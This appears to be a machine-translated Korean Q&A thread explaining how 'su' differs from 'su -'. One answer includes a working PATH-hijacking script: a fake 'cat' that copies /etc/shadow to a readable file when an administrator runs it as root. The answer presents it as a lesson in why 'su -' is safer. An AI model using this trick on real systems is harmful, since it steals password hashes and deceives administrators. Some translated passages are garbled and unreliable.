답변:
su -
사용자 전환 후 로그인 쉘을 호출합니다. 로그인 쉘은 대부분의 환경 변수를 재설정하여 깨끗한 기반을 제공합니다.
su
사용자를 전환하여 이전 사용자와 거의 동일한 환경의 일반 셸을 제공합니다.
컴퓨터에 대한 일반 사용자 액세스 권한을 가진 소프트웨어 개발자이고 무지한 관리자가 루트 액세스 권한을 부여하지 않는다고 상상해보십시오. (희망스럽게) 그를 속이자.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
이제 관리자에게 cat
홈 폴더의 더미 파일 을 사용할 수없는 이유를 물어보십시오 . 작동하지 않습니다!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
관리자가 똑똑하지 않거나 약간 게으른 경우 책상에 와서 슈퍼 유저 권한으로 시험해 볼 수 있습니다.
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
와! 감사합니다, 최고 관리자!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
그는.
손상된 $PATH
변수가 재설정되지 않았 음을 알 수 있습니다. 관리자가 su -
대신 호출하면 이런 일이 발생하지 않았을 것입니다.
umask
000 을 설정하는 것이 좋습니다. 그렇지 않으면 작동하지 않습니다.
su
PATH 안에 파일을 넣을 수도 있습니다. 현실의 행동을 모방하는 것은 그리 어렵지 않습니다 su
. 슈퍼 사용자는 어쨌든 :-) 부주의있다
su --
다음과 동일하지 않음 su -
: --
getopt (s) (또는 유사한) 옵션 핸들러에게 추가 옵션에 대한 명령 행 처리를 중지하도록 지시합니다 (예를 들어, 나머지에 '-'로 시작할 수있는 파일 이름이 포함 된 경우 유용). 즉,에서 "RM -i - -f"-f는 다음과 같이, 그래서 여기에 정기적 인수로 처리됩니다 파일의 이름 으로 rm -i
, 그리고 하지 additionnal로 -f
받는 옵션을 rm
명령. 그래서 su --
그냥 su
하지 su -
! 따라서 su --
wag의 (재미 있고 유익한) 예제 givan에게는 안전하지 않습니다. 사용하십시오 su -
.
su -
루트로 완전히 로그인하는 반면 루트 su
로 가장합니다.
가장 확실한 예는 ~
을 사용하는 경우 루트의 홈 디렉토리이고을 사용하는 경우 su -
자신의 홈 디렉토리 su
입니다.
시스템에 따라 프롬프트 PATH
, 또는 히스토리 파일의 차이를 의미 할 수도 있습니다 .
따라서 시스템을 관리하는 팀의 일원이고 동료가 실행할 명령을 제공하는 경우 su -
, 둘 다 사용하는 경우에도 동일하게 작동한다는 것을 알고 있지만 둘 다 사용하는 경우 su
차이가있을 수 있습니다. 다른 쉘 구성.
반면에 루트로 명령을 실행하고 자체 구성을 사용하려는 경우 su
더 좋습니다.
또한 루트로 실행되는 쉘을 시작하는 옵션 sudo
이있는 에 대해 잊지 마십시오 -s
. 물론 여기에는 다른 규칙이 있으며 사용중인 배포판에 따라 변경됩니다.
.bashrc
또는 /etc/bashrc
또는 /etc/profile.d
스크립트를 설정하는 PATH
. if [ $UID -eq 0 ]
그와 비슷한 것을 찾으십시오 .
$USER
예를 들어 변경되지 않은 상태로 유지됩니다.
sudo su
?
나는 일반 사용자로 디렉토리에 있지만 루트로 전환하고 스위치 후에 동일한 디렉토리에 남아 있고 싶을 때 su를 사용합니다. su를 사용하면 사용자를 루트로 전환하고 루트 홈 디렉토리 인 / root로 이동합니다.
/
루트의 홈 디렉토리로 정의 된 모든 것
su --
와 동일합니다su
.